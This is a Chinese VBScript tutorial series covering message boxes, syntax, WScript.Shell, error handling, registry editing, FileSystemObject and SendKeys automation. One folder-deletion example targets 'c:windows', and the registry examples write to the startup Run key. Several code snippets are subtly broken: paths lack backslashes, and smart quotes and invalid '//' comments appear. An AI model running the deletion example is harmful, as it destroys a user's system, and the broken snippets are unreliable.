最近不知怎么的很喜歡學習腳本文件,最喜歡的腳本學習網(wǎng)站有:
vbs-腳本之家http://www.jb51.net/list/list_114_1.htm
首先,這篇文章也是我從網(wǎng)上下載的,應該感謝下這些無私共享資源的朋友們。
一些事VBS腳本學習的基礎教程,從“hello world”開始我們的vbs學習之旅。。。。
Vbs 腳本編程簡明教程之一—為什么要使用Vbs?
在Windows中,學習計算機操作也許很簡單,但是很多計算機工作是重復性勞動,例如你每周
也許需要對一些計算機文件進行復制、粘貼、改名、刪除,也許你每天啟動計算機第一件事情
就是打開WORD,切換到你喜愛的輸入法進行文本編輯,同時還要播放優(yōu)美的音樂給工作創(chuàng)造
一個舒心的環(huán)境,當然也有可能你經(jīng)常需要對文本中的某些數(shù)據(jù)進行整理,把各式各樣的數(shù)據(jù)
按照某種規(guī)則排列起來……。這些事情重復、瑣碎,使人容易疲勞。
第三方軟件也許可以強化計算機的某些功能,但是解決這些重復勞動往往事倍功半,我也嘗試
過使用計算機語言編寫程序來解決這些問題,但是隨之而來的命令、語法、算法、系統(tǒng)框架和
類庫常常讓我覺得這樣是否有必要,難道就是因為豬毛比較難拔,所以我就要去學習機械,為
自己設計一個拔豬毛機(?)嗎?
Vbs 是一種Windows 腳本,它的全稱是:Microsoft Visual Basic ScriptEditon.(微軟公司可視化
BASIC 腳本版),VBS 是Visual Basic 的的一個抽象子集,是系統(tǒng)內(nèi)置的,用它編寫的腳本代碼
不能編譯成二進制文件,直接由Windows 系統(tǒng)執(zhí)行(實際是一個叫做宿主host 的解釋源代碼并
執(zhí)行),高效、易學,但是大部分高級語言能干的事情,它基本上都具備,它可以使各種各樣的
任務自動化,可以使你從重復瑣碎的工作中解脫出來,極大的提高工作效率。
我個人認為Vbs 腳本其實就是一種計算機編程語言,但是由于缺少計算機程序設計語言中的部
分要素,對于事件的描述能力較弱,所以稱為腳本,它最方便的地方就是提供了對COM 對象
的簡便支持。那么什么是COM 對象呢?
我這樣理解,COM 對象就是一些具有特定函數(shù)功能項程序模塊,他們一般以ocx 或者dll 作為
擴展名,你只要找到包含有你需要的功能的模塊文件,并在腳本中規(guī)范的引用,就可以實現(xiàn)特
定的功能,也就是說Vbs 腳本就是調(diào)用現(xiàn)成的“控件”作為對象,用對象的屬性和方法實現(xiàn)目的,
完全免去了編寫代碼、設計算法等等麻煩。說白了,我不是覺得拔豬毛麻煩么?我發(fā)覺xx 機(比
如真空離心器)有一個功能可以實現(xiàn)脫毛,ok,我把它拿來給豬脫毛。什么?大材小用?太浪
費資源了?天哪,那是計算機芯片的事情,死道友不死貧道,反正我的事情是方便快速的解決
了,這就行了。
最方便的是它甚至不需要專門的開發(fā)環(huán)境,在你的計算機中,只要有notepad,就可以編寫Vbs
腳本了,并且可以直接執(zhí)行。
===============================
Vbs 腳本編程簡明教程之二—如何開始第一個Vbs腳本?
就像多數(shù)計算機教程一樣,我們從“HelloWorld!”程序開始我們的練習。什么?不知道是什
么意思?就是說大部分的計算機程序設計教程開篇入門都是編寫一個小程序,執(zhí)行這個程序的
結(jié)果就是在計算機的屏幕上或者dos 窗口中顯示一行文字:Hello World!好了,我們開始吧。
打開你的“記事本”程序,在編輯窗口填寫:
msgbox "He llo World!"
然后用鼠標單擊“文件”菜單,單擊“保存”,把“保存在”一欄設為桌面,在“文件名”一欄中填寫
kk.vbs,單擊“保存”就可以了。然后最小化“記事本”窗口,在桌面上尋找你剛剛保存的kk.vbs,
然后雙擊。看到彈出的對話框了沒有,單擊“確定”,對話框消失了。難看了點,不過確實是你
編寫的第一個腳本程序。
說明之一:上面的操作中,保存位置放在桌面,僅僅是為了執(zhí)行方便,你保存到其他的地方完
全沒有問題,只要你知道你保存在什么地方就可以了,什么?是廢話,自己保存的當然知道保
存在那里了。不,自己保存的文件自己找不到的人我見的多了去了。文件名你可以隨意填寫,
不一定非要寫kk,只要符合Windows 的文件命名規(guī)則就可以了,但是擴展名必須是vbs,什么?
不知道什么是擴展名?就是文件名中“.”后的那部分,簡單說,就是vbs 腳本文件命名時必須是:
xxx.vbs,其中xxx 你隨意。
說明之二:在記事本編輯窗口中寫的這行是什么意思?
Msgbox 是VBS 內(nèi)建的函數(shù),每一個函數(shù)都可以完成一定的功能,你只需要按照語法要求,在
函數(shù)的相應部分填寫相應的內(nèi)容就可以了,這部分內(nèi)容我們稱為參數(shù),當然函數(shù)執(zhí)行的結(jié)果我
們稱為返回值,一個函數(shù)可以有返回值也可以沒有,可以有參數(shù)也可以沒有。你不用了解函數(shù)
是怎么運作的,只要了解這個函數(shù)能干什么就行了。
Msgbox 語法:msgbox "對話框內(nèi)容", , "對話框的標題"
你不妨用記事本打開剛才的文件在編輯窗口中輸入:
msgbox "He llo World!" , , "系統(tǒng)提示"
執(zhí)行一下,看看效果和位置。
說明之三:如果執(zhí)行失敗,看看你的標點符號,所有的標點符號必須是在英文狀態(tài)下輸入的。
當然,這個腳本實在是太簡單了,甚至連最簡單的交互都沒有,所以你可以把腳本這樣修改一
下:
Dim name
name=Inputbox("請輸入你的名字:","名稱")
Msgbox name, , "您的名字是"
保存執(zhí)行一下,看到彈出的對話框了么?填入你的名字,點確定,看到結(jié)果了嗎?
說明之一:第一句是定義變量,dim 是定義變量的語句
其格式為:dim 變量1,變量2……,
Vbs 只有一種變量類型,所以不用聲明變量類型。系統(tǒng)會自動分辨變量類型。
說明之二:inputbox 是VBS 內(nèi)建的函數(shù),可以接受輸入的內(nèi)容,其語法格式為:
Inputbox("對話框內(nèi)容","對話框標題")
第二句的意思是接受用戶的輸入,并把輸入結(jié)果傳遞給變量name。
好了,到此腳本基本的輸入輸出函數(shù)都有了,已經(jīng)可以完成一些比較簡單的功能了,你可以編
寫一個簡單的腳本,然后拷貝的“程序”—>“啟動”中,然后重新啟動計算機看看結(jié)果。
=====================================
Vbs 腳本編程簡明教程之三—Vbs 的基本語法(牢記)
VBScript 基礎知識
一、變量
1、所有單引號后面的內(nèi)容都被解釋為注釋。
2、在VBScript 中,變量的命名規(guī)則遵循標準的命名規(guī)則,需要注意的是:在VBScript 中對變
量、方法、函數(shù)和對象的引用是不區(qū)分大小寫的。在申明變量時,要顯式地申明一個變量,需
要使用關(guān)鍵字DIm 來告訴VBScript 你要創(chuàng)建一個變量,并將變量名稱跟在其后。申明多個同類
型變量,可以用逗號分隔。注意:VBScript 中不允許在申明變量的時候同時給變量賦值。但是
允許在一行代碼內(nèi)同時對兩個變量進行賦值,中間用冒號分隔。
3、你可以使用OptionExplicit 來告訴宿主變量必須先聲明后使用。
4、VBScript 在定義時只有一種變量類型,在實際使用中需要使用類型轉(zhuǎn)換函數(shù)來將變量轉(zhuǎn)換成
相應的變量類型。
Cbool 函數(shù)將變量轉(zhuǎn)換成布爾值;
Cbyte 函數(shù)將變量轉(zhuǎn)換為0 到255 之間的整數(shù)。
Ccur 函數(shù)、Cdbl 函數(shù)和Csng 函數(shù)將變量轉(zhuǎn)換為浮點數(shù)值,前者只精確到小數(shù)點后四位,后兩
者要更加精確,數(shù)值的范圍也要大的多。
Cdate 函數(shù)將變量轉(zhuǎn)換為日期值。
Cint 函數(shù)和Clng 函數(shù)將變量轉(zhuǎn)換為整數(shù),后者的范圍比前者要大的多。
Cstr 函數(shù)將變量轉(zhuǎn)換為字符串。
二、數(shù)組
數(shù)組的定義與變量非常類似,只需要在變量后描述這個數(shù)組的個數(shù)和維數(shù)。需要注意的是:數(shù)
組的下標總是從0 開始,而以數(shù)組定義中數(shù)值減一結(jié)束。也就是說你以要定義一個有十個數(shù)據(jù)
的數(shù)組,將這樣書寫代碼:dImarray(9),同樣,當你要訪問第五個元素時,實際的代碼是array(4)。
當然,你可以通過不指定數(shù)組的個數(shù)和維數(shù)來申明動態(tài)數(shù)組。等到數(shù)組的個數(shù)和維數(shù)固定后,
使用關(guān)鍵字redim 來改變數(shù)組。注意,在改變數(shù)組的大小時,數(shù)組的數(shù)據(jù)會被破壞,使用關(guān)鍵
字preserve 來保護數(shù)據(jù)。例如:
RedIm 空格preserve 空格array 括號個數(shù)逗號維數(shù)括號
三、操作符
在VBScript 運算符中,加減乘除都是我們常用的符號,乘方使用的是^,取模使用的Mod。
在比較操作符中,等于、小于、大于、小于等于、大于等于都與我們常用的符號是一致的,而
不等于是小于和大于連用。
邏輯運算符為:和操作—>AND 非操作—>NOT或操作—>OR;
你可以使用操作符+ 和操作符&來連接字符串,一般使用&操作符;
另外還有一個比較特殊的操作符Is 用來比較對象,例如按鈕對象,如果對象是同一類型,結(jié)果
就是真,如果對象不是同一類型,結(jié)果就是假。
四、條件語句主要有if……then 語句和selectcase語句兩種形式
在if……then 語句中,其基本形式為:
If 條件then
處理條件的語句;
……
Endif
基本形式只能對單個條件進行驗證,如果有兩個條件,則需要在基本形式中添加單行語句else,
如果還有更多的條件需要驗證,則需要添加語句
Elseif 條件then
處理條件語句
在selectcase 語句中,其基本形式為:
Select case 變量
Case 條件值
處理條件語句
并對上兩句進行重復
最后一句應為
case else
處理語句
當然不要忘記將條件結(jié)束語句End select 放在最后一行
注意:在執(zhí)行字符串比較時,需要特別注意大小寫,一般情況下,我們在比較前,使用lcase
函數(shù)將字符串轉(zhuǎn)換成小寫,使用ucase 函數(shù)將字符串轉(zhuǎn)換成大寫大寫。
五、循環(huán)控制語句
循環(huán)控制語句有for……next 循環(huán)、for……each循環(huán)、do……while 循環(huán)、do……until 循環(huán)、while
循環(huán)五種形式。
在使用循環(huán)控制語句前,首先要對循環(huán)條件進行判斷,如果循環(huán)次數(shù)是有固定次數(shù)的,那么使
用For……next 循環(huán),其結(jié)構(gòu)為:
For 計數(shù)器變量=開始計數(shù)值to 最后計數(shù)值
執(zhí)行循環(huán)體
Next
如果是需要對數(shù)組或?qū)ο蠹现械拿恳粋€元素進行判斷,則需要使用for……each 循環(huán),其結(jié)構(gòu)
為:
For each 循環(huán)計數(shù)變量in 要查看的對象或數(shù)組
執(zhí)行處理語句
Next
注意:在上述兩種循環(huán)中隨時可以使用exit for 來退出循環(huán)
如果你希望在條件滿足時執(zhí)行一段代碼則使用do……while 語句,結(jié)構(gòu)為:
Do while 條件
執(zhí)行循環(huán)體
Loop
如果你希望在條件不滿足時執(zhí)行代碼,則使用do……until 語句,結(jié)構(gòu)為:
Do until 條件
執(zhí)行循環(huán)體
Loop
當然,在這兩種循環(huán)語句中,你可以使用exit do 來退出循環(huán)
最后一種循環(huán)語句是條件滿足時一直執(zhí)行循環(huán),
While 條件
執(zhí)行循環(huán)體
Wend
六、使用過程
常用的過程有兩種,一種為函數(shù),給調(diào)用者返回值,一種為子程序,無返回值,還有一種叫事
件的特殊子程序,用的比較少。
函數(shù)的基本定義方法為:
Function 函數(shù)名稱(參數(shù)列表)
函數(shù)代碼
函數(shù)名稱=某值‘用來返回值
end function
子程序一些都類似,不過沒有返回值
注意:盡管在定義子程序的時候,參數(shù)列表要加括號,但在調(diào)用子程序的時候,參數(shù)列表不加
括號,括號只在函數(shù)中使用。另外,子程序不能在表達式中使用。
而函數(shù)只能出現(xiàn)在賦值語句的右邊,或者表達式中,函數(shù)不能直接使用,如果必須直接使用函
數(shù),則必須使用call 語句調(diào)用,并取消返回值。
===================================
Vbs 腳本編程簡明教程之四—如何利用Vbs 運行外部程序?
Vbs只提供了編程的一個基本框架,用戶可以使用Vbs 來定義變量、過程和函數(shù),vbs 也提供了
一些內(nèi)部函數(shù)和對象,但是Vbs 沒有提供任何命令來訪問Windows 系統(tǒng)內(nèi)部的部件,但是值得
慶幸的是,Vbs 雖然不能自己完成這些任務,但是它提供了一條極為方便、功能也相當強的命
令——CreateObject,這條命令可以訪問windows 系統(tǒng)內(nèi)安裝的所有com 對象,并且可以調(diào)用這
些部件中存放的命令。
于是問題解決了,比如說,我手頭有1000 個小文本,我首先要對每一個文本的語法進行查錯和
修改,然后按照預先定義好的規(guī)則對這些文本進行排序,最后將這些文本合并成為一個文件。
正常情況下,我們需要把打開第一個小文本,然后把它復制到WORD 中,然后利用里面的除錯
功能進行除錯和修改,然后再導入到EXCEL 中進行排序,將這個過程重復1000 遍,然后再將
所有得到的文本復制到一個大文本中。實在是太枯燥、工作量太大了。有了Vbs 和CreateObje ct,
問題得到解決,我只需要找到相應的模塊,調(diào)用相應的功能就可以了,作為腳本,把一個枯燥
的過程重復1000 次,本就是它的拿手好戲。
好了,我們走入正題,從最簡單的——只啟動一個程序開始。
WSH 也就是用來解析Vbs 的宿主,本身包含了幾個個常用對象:
1、Scripting.FileSystemObject —> 提供一整套文件系統(tǒng)操作函數(shù)
2、Scripting.Dictionary —> 用來返回存放鍵值對的字典對象
3、Wscript.Shell —>提供一套讀取系統(tǒng)信息的函數(shù),如讀寫注冊表、查找指定文件的路徑、
讀取DOS 環(huán)境變量,讀取鏈接中的設置
4、Wscript.NetWork —>提供網(wǎng)絡連接和遠程打印機管理的函數(shù)。(其中,所有Scripting 對
象都存放在SCRRUN.DLL 文件中,所有的Wscript 對象都存放在WSHOM.ocx 文件中。)
現(xiàn)在我們需要的是第三個對象,好了,讓我們先連接一下對象看看,在記事本的編輯窗口中輸
入:
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad”
同樣,保存執(zhí)行。那么看到了一個什么樣的結(jié)果呢?在桌面上又打開了一個記事本。
說明之一:Set 是Vbs 指令,凡是將一對象引用賦給變量,就需要使用set 關(guān)鍵字。那么什么是
對象引用呢?凡是字符串、數(shù)值、布爾值之外的變量都是對象引用。Objshell 是變量名,可以隨
意修改。
說明之二:凡是正確引用的對象,其本身內(nèi)置有函數(shù)和變量,其引用方法為在變量后加“. ”,后
緊跟其實現(xiàn)功能的函數(shù)就可以了。Objshell.run 的意思就是調(diào)用Wscript.shell 中的運行外部程序
的函數(shù)——run,notepad 是記事本程序的文件名。當然你也可以改成“calc”,這是計算器的文件
名,winword 是word 的文件名,等等吧,所有可執(zhí)行文件的文件名都可以。但是需要注意的是,
如果你要執(zhí)行的可執(zhí)行文件存放的地方不是程序安裝的常用路徑,一般情況下,需要提供合法
的路徑名,但是run 在運行解析時,遇到空格會停止,解決的方法是使用雙引號,例如:在我
的機器上運行qq,代碼為:
objshell.run """C:Program FilesQQ2006QQ.exe""" ‘注:三個引號
好, 我們再進一步,啟動兩個程序會如何呢?
輸入如下代碼:
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad”
objShell.Run “calc ”
執(zhí)行會如何呢?兩個程序基本上同時啟動了。如果我們需要先啟動notepad 再啟動calc 將如何
呢?很簡單在需要順序執(zhí)行的代碼后加, , True 參數(shù)就可以了。
好了輸入代碼:
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad” ,,true
objShell.Run “calc ”
看看執(zhí)行的結(jié)果怎么樣吧!
總結(jié):run 函數(shù)有三個參數(shù),第一個參數(shù)是你要執(zhí)行的程序的路徑,第二個程序是窗口的形式,
0 是在后臺運行;1 表示正常運行;2 表示激活程序并且顯示為最小化;3 表示激活程序并且顯
示為最大化;一共有10 個這樣的參數(shù)我只列出了4 個最常用的。第三個參數(shù)是表示這個腳本
是等待還是繼續(xù)執(zhí)行,如果設為了true,腳本就會等待調(diào)用的程序退出后再向后執(zhí)行。
其實,run 做為函數(shù),前面還有一個接受返回值的變量,一般來說如果返回為0,表示成功執(zhí)行,
如果不為0,則這個返回值就是錯誤代碼,可以通過這個代碼找出相應的錯誤。
=========================================
Vbs腳本編程簡明教程之五—錯誤處理
引發(fā)錯誤的原因有很多,例如用戶輸入了錯誤類型的值,或者腳本找不到必需的文件、目錄或
者驅(qū)動器,我們可以使用循環(huán)技術(shù)來處理錯誤,但是VBS 本身也提供了一些基本技術(shù)來進行錯
誤的檢測和處理。
1、最常見的錯誤是運行時錯誤,也就是說錯誤在腳本正在運行的時候發(fā)生,是腳本試圖進行非
法操作的結(jié)果。例如零被作為除數(shù)。在vbs 中,任何運行時錯誤都是致命的,此時,腳本將停
止運行,并在屏幕上顯示一個錯誤消息。你可以在腳本的開頭添加
On Error Resume Next
這行語句可以告訴vbs 在運行時跳過發(fā)生錯誤的語句,緊接著執(zhí)行跟在它后面的語句。
發(fā)生錯誤時,該語句將會把相關(guān)的錯誤號、錯誤描述和相關(guān)源代碼壓入錯誤堆棧。
2、雖然On Error Resume Next 語句可以防止vbs 腳本在發(fā)生錯誤時停止運行,但是它并不能真
正處理錯誤,要處理錯誤,你需要在腳本中增加一些語句,用來檢查錯誤條件并在錯誤發(fā)生時
處理它。
vbscript 提供了一個對象err 對象,他有兩個方法clear,raise,5個屬性:description,helpcontext,
helpfile,number,source
err 對象不用引用實例,可以直接使用,例如:
on error resume next
a=11
b=0
c=a/b
if err.number<>0 then
wscript.echo err.number & err.description& err.source
end if
=====================================
Vbs 腳本編程簡明教程之六—修改注冊表
Vbs 中修改注冊表的語句主要有:
1、讀注冊表的關(guān)鍵詞和值:
可以通過把關(guān)鍵詞的完整路徑傳遞給wshshell 對象的regread 方法。例如:
set ws=wscript.createobject("wscript.shell")
v=ws.regread("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunn
wiz")
wscript.echo v
2、寫注冊表
使用wshshell 對象的regwrite 方法。例子:
path="HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun"
set ws=wscript.createobject("wscript.shell")
t=ws.regwrite(path & "jj","he llo")
這樣就把
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunjj這個鍵值改成
了hello.不過要注意:這個鍵值一定要預先存在。
如果要創(chuàng)建一個新的關(guān)鍵詞,同樣也是用這個方法。
path="HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionrunsssa2000l
ove"
set ws=wscript.createobject("wscript.shell")
val=ws.regwrite(path,"nenboy")
val=ws.regread(path)
wscript.echo val
刪除關(guān)鍵字和值
使用regdelete 方法,把完整的路徑傳遞給regdelete 就可以了
例如
val=ws.regdel(path)
注意,如果要刪除關(guān)鍵詞的值的話一定要在路徑最后加上“”,如果不加斜線,就會刪除整個
關(guān)鍵詞。
====================================
Vbs 腳本編程簡明教程之七—FSO 的常見對象和方法
文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一,腳本經(jīng)常會需要對文件及文件夾進行訪問和管理,
在Vbs 中對桌面和文件系統(tǒng)進行訪問的頂級對象是FileSystemObject(FSO),這個對象特別復雜,
是vbs 進行文件操作的核心。此節(jié)內(nèi)容應了如指掌。
FSO 包含的常見對象有:
Drive 對象:包含儲存設備的信息,包括硬盤、光驅(qū)、ram 盤、網(wǎng)絡驅(qū)動器
Drives 集合:提供一個物理和邏輯驅(qū)動器的列表
File 對象:檢查和處理文件
Files 集合:提供一個文件夾中的文件列表
Folder 對象:檢查和處理文件夾
Folders 集合:提供文件夾中子文件夾的列表
Textstream 對象:讀寫文本文件
FSO 的常見方法有:
BulidPath:把文件路徑信息添加到現(xiàn)有的文件路徑上
CopyFile:復制文件
CopyFolder:復制文件夾
CreateFolder:創(chuàng)建文件夾
CreateTextFile:創(chuàng)建文本并返回一個TextStream 對象
DeleteFile:刪除文件
DeleteFolder:刪除文件夾及其中所有內(nèi)容
DriveExits:確定驅(qū)動器是否存在
FileExits:確定一個文件是否存在
FolderExists:確定某文件夾是否存在
GetAbsolutePathName:返回一個文件夾或文件的絕對路徑
GetBaseName:返回一個文件或文件夾的基本路徑
GetDrive:返回一個dreve 對象
GetDriveName:返回一個驅(qū)動器的名字
GetExtensionName:返回擴展名
GetFile:返回一個file 對象
GetFileName:返回文件夾中文件名稱
GetFolder:返回一個文件夾對象
GetParentFolderName:返回一個文件夾的父文件夾
GetSpecialFolder:返回指向一個特殊文件夾的對象指針
GetTempName:返回一個可以被createtextfile 使用的隨機產(chǎn)生的文件或文件夾的名稱
MoveFile:移動文件
MoveFolder:移動文件夾
OpenTextFile:打開一個存在的文件并返回一個TextStream 對象
====================================
Vbs 腳本編程簡明教程之八—FSO 中文件夾的基本操作
1、使用fso
由于fso 不是wsh 的一部分,所以我們需要建立他的模型
例如set fs=wscript.createobject(“scripting.filesystemobject”)
這樣就建立了fso 的模型。如果要釋放的話也很簡單,set fs=nothing
2、使用文件夾
在創(chuàng)建前,我們一般需要檢查該文件夾是否存在例如:
dim fs,s //定義fs、s 兩個變量
set fs=wscript.createobject(“scripting.filesystemobject”) //fs 為FSO實例
if (fs.folderexists(“c:temp”)) then //判斷c:temp 文件夾是否存在
s=”is available ”
else
s=”not exist”
set foldr=fs.createfolder(“c:temp”) //不存在則建立
end if
刪除: set fs=wscript.createobject(“scripting.filesystemobject”)
fs.deletefolder(“c:windows”)
拷貝: set fs=wscript.createobject(“scripting.filesystemobject”)
fs.copyfolder “c:data” “d:data”
注意:如果c:data 和d:data 都存在,腳本會出錯,復制也就會停止,如果要強制覆蓋,使用
fs.copyfolder “c:data” “d:data”,true
移動: set fs=wscript.createobject(“scripting.filesystemobject”)
fs.movefolder “c:data” “d:data”
我們可以使用統(tǒng)配符,來方便操作:
例如, fs.movefolder :c:datate*” , “d:working”
注意:在目的路徑最后沒有使用“” 也就是說我沒有這樣寫:
fs.movefolder c:datate*” , “d:working”
這樣寫的話,如果d:working 目錄不存在,windows 就不會為我們自動創(chuàng)建這個目錄。
注意:上面我們所舉的例子都是在利用fso 提供的方法,如果使用folder 對象也完全是可以的:
set fs= wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfolder(“c:data”)
f.delete //刪除文件夾c:data。如果有子目錄,也會被刪除
f.copy “d:working”,true //拷貝到d:working
f.move “d:temp” //移動到d:temp
3、特殊文件夾
一般指的就是系統(tǒng)文件夾:windowssystem32, 臨時文件夾,windows 文件夾,在前幾篇的時
候,我們提過一下:例如
set fs=wscript.createobject(“scripting.filesystemobject”)
set wshshell=wscript.createobject(“wscript.shell”)
osdir=wshshell.expandenvironmentstrings(“%systemroot%”)
set f =fs.getfolder(osdir)
wscript.echo f
當然,還有簡單的方法那就是使用getspecialfolder()
這個方法使用3 種值:
0 表示windows 文件夾,相關(guān)常量是windowsfolder
1 系統(tǒng)文件夾,相關(guān)常量是systemfolder
2 臨時目錄,相關(guān)常量temporaryfolder
例如:
set fs=wscript.createobject(“scripting.filesystemobject”)
set wfolder=fs.getspecialfolder(0) ‘返回windows 目錄
set wfolder=fs.getspecialfolder(1) ‘返回system32
set wfolder=fs.getspecialfolder(2)'返回臨時目錄
=================================
Vbs 腳本編程簡明教程之九—妙用SendKeys簡化重復操作1
每次開機的時候,你想自動登陸你的QQ 或者博客嗎?巧妙使用VBS 中的SendKeys命令(這
個命令的作用就是模擬鍵盤操作,將一個或多個按鍵指令發(fā)送到指定Windows 窗口來控制應用
程序運行),可以極大的方便我們的常用操作。其使用格式為:
Object.SendKeys string
其中:
Object:為WshShell 對象,即腳本的第一行為:
Set WshShell=WScript.CreateObject("WScript.Shell")
將Object 替換為WshShell
“string”:表示要發(fā)送的按鍵指令字符串,需要放在英文雙引號中。它包含如下內(nèi)容:
1.基本鍵:一般來說,要發(fā)送的按鍵指令都可以直接用該按鍵字符本身來表示,例如要發(fā)送字
母“x”,使用“WshShell.SendKeys "x"”即可。當然,也可直接發(fā)送多個按鍵指令,只需要將按鍵
字符按順序排列在一起即可,例如,要發(fā)送按鍵“cfan”,可以使用
“WshShell.SendKeys "cfan"”。
2.特殊功能鍵:對于需要與Shift、Ctrl、Alt 三個控制鍵組合的按鍵,SendKeys 使用特殊字符
來表示:Shift —— +;Ctrl —— ^;Alt —— %
如要發(fā)送的組合按鍵是同時按下Ctrl+E,需要用“WshShell.SendKeys "^e"”表示,如果要發(fā)送的
組合按鍵是按住Ctrl 鍵的同時按下E 與C 兩個鍵,這時應使用小括號把字母鍵括起來,書寫格
式為“WshShell.SendKeys "^(ec)"”,這里要注意它與“WshShell.SendKeys"^ec"”的區(qū)別,后者表示
組合按鍵是同時按住Ctrl 和E 鍵,然后松開Ctrl 鍵,單獨按下“C”字母鍵。
由于“+”、“^”這些字符用來表示特殊的控制按鍵了,如何表示這些按鍵呢?只要用大括號括住
這些字符即可。例如,要發(fā)送加號“+”,可使用“WshShell.SendKeys "{+}"”。另外對于一些不會
生成字符的控制功能按鍵,也同樣需要使用大括號括起來按鍵的名稱,例如要發(fā)送回車鍵,需
要用“WshShell.SendKeys "{ENTER}"”表示,發(fā)送向下的方向鍵用
“WshShell.SendKeys "{DOWN}"”表示。
如果需要發(fā)送多個重復的單字母按鍵,不必重復輸入該字母,SendKeys 允許使用簡化格式進行
描述,使用格式為“{按鍵數(shù)字}”。例如要發(fā)送10 個字母“x”,則輸入“WshShell.SendKeys "{x
10}"”即可。
例一:WshShell.SendKeys "^{ESC}u"
代碼的含義為:按下Ctrl+Esc 組合鍵(相當于按Win 鍵)打開“開始”菜單,接著按U 鍵打開“關(guān)
機”菜單。
例二:讓VBS 腳本自動在記事本中輸入一行文字“hello, welcome to cfan”。
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 2000 //本行的含義為是腳本暫停2 秒,給notepad 一個打開的時間,有時時間
太短可能導致后面的字符無法進入編輯區(qū)
WshShell.AppActivate "無標題- 記事本" //AppActivate為尋找可執(zhí)行程序的標題框,”無標
題-記事本”內(nèi)容你的自己打開看一下
WshShell.SendKeys "hello, welcome to cfan"
作業(yè)1:讓腳本自動輸入下面兩段小短句
This is the most wonderful day of my life
because I'm here with you now
作業(yè)2:讓腳本在輸入短句后自動關(guān)閉記事本,并保存文件名為“test”,注意關(guān)閉記事本可以直
接使用組合按鍵Alt+F4 來實現(xiàn)。
==========================
Vbs 腳本編程簡明教程之九—妙用SendKeys簡化重復操作2
例三:制作能自動定時存盤的記事本
我們最常用的記事本沒有Word、WPS 那樣的自動定時存盤功能,其實利用VBS 腳本再加上
SendKeys 命令,就能彌補這個遺憾。打開記事本,輸入以下內(nèi)容(為容易描述和分析,把代碼
分為四個部分):
'第一部分:定義變量和對象
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=300000
Set WshShell=WScript.CreateObject("WScript.Shell")
TXTFileName=InputBox("請輸入你要創(chuàng)建的文件名(不能用中文和純數(shù)字):")
第一部分:定義了腳本中需要用到的變量和對象?!癆utoSaveTime”變量用來設置自動存盤間隔,
單位為毫秒,這里設置為5 分鐘。“TXTFileName ”變量通過輸入框取得你要創(chuàng)建的文本文件名
稱。
'第二部分:打開并激活記事本
WshShell.Run "notepad"
WScript.Sleep 200
WshShell.AppActivate "無標題- 記事本"
第二部分:運行記事本,對于Windows 本身提供的程序,比如計算器等,可直接在“WshShell.Run”
后輸入程序名稱,如"calc",對于非系統(tǒng)程序,則可輸入完全路徑,但要注意使用8.3 格式輸入,
比如“"D:Progra~1TencentQQ.exe"”。
'第三部分:用輸入的文件名存盤
WshShell.SendKeys "^s"
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys "%s"
WScript.Sleep AutoSaveTime
第三部分:這里用SendKeys 命令執(zhí)行了這樣的操作流程(請注意每個操作之間延時命令的使
用):在記事本中按Ctrl+S 組合鍵→彈出保存文件的窗口→輸入文件名→按Alt+S 組合鍵進行
保存(默認保存在“我的文檔”目錄)。
'第四部分:自動定時存盤
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys "^s"
WScript.Sleep AutoSaveTime
Wend
WScript.Quit
第四部分:定時存盤的關(guān)鍵,通過“While……Wend”這個當條件為“真”時循環(huán)命令,實現(xiàn)自動存
盤代碼“WshShell.SendKeys "^s"”和定時代碼“WScript.SleepAutoSaveTime”的重復執(zhí)行。因為不
能讓這個定時存盤循環(huán)一直執(zhí)行,退出記事本后,必須自動退出腳本并結(jié)束循環(huán),所以設計了
一個循環(huán)判斷條件“WshShell.AppActivate TXTFileName=True”,當記事本運行中時,可以激活
記事本窗口,這個條件運行結(jié)果為“True”,定時存盤循環(huán)一直執(zhí)行,退出記事本后,腳本無法
激活記事本窗口,就會跳出循環(huán),執(zhí)行“Wend”后面的“WScript.Quit”退出腳本。
將其保存為記事本.vbs,以后要使用記事本時,都通過雙擊這個腳本文件來打開。
程序說明:這個腳本的基本思路是定時向記事本發(fā)送Ctrl+S 這個存盤組合鍵。
例四:關(guān)機菜單立刻顯身
打開記事本,輸入以下命令,并將其保存為1.vbs:
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}u"
雙擊運行它,你會發(fā)現(xiàn)關(guān)機菜單立刻出現(xiàn)了。
將“WshShell.SendKeys "^{ESC}u"”改為“WshShell.SendKeys"^+{ESC}"”,運行一下看看是否打
開了任務管理器
===================================
Vbs 腳本編程簡明教程之九—妙用SendKeys自動上網(wǎng)并登陸博客3
將下面的腳本復制到一個文本文件中,并將其文件名命名為:自動登陸.vbs,然后將撥號軟件及
本腳本一起復制到程序——啟動項中,就可以實現(xiàn)自動撥號上網(wǎng),并登陸到博客上。
代碼如下:
Set wshshell=CreateObject("wscript.shell")
wshshell.AppActivate "連接MAE-301U 撥號連接"
wscript.Sleep 20000
wshshell.SendKeys "{enter}"
wshshell.Run "iexplore"
WScript.Sleep 2000
wshshell.AppActivate "hao123 網(wǎng)址之家---實用網(wǎng)址,搜索大全,盡在www.hao123.com - Microsoft
Internet Explorer" '引號中的內(nèi)容修改為你的瀏覽器打開后標題欄中的內(nèi)容
wshshell.SendKeys "%d"
wshshell.SendKeys http://passport.***.com/?login
wshshell.SendKeys "{enter}"
WScript.Sleep 2000
wshshell.SendKeys "此處修改為博客帳號"
wshshell.SendKeys "{tab}"
wshshell.SendKeys "此處修改為博客密碼"
wshshell.SendKeys "{enter}"
'wshshell.SendKeys "%d"
================================
Vbs 腳本編程簡明教程之十—Vbs 腳本編程常用的編輯器
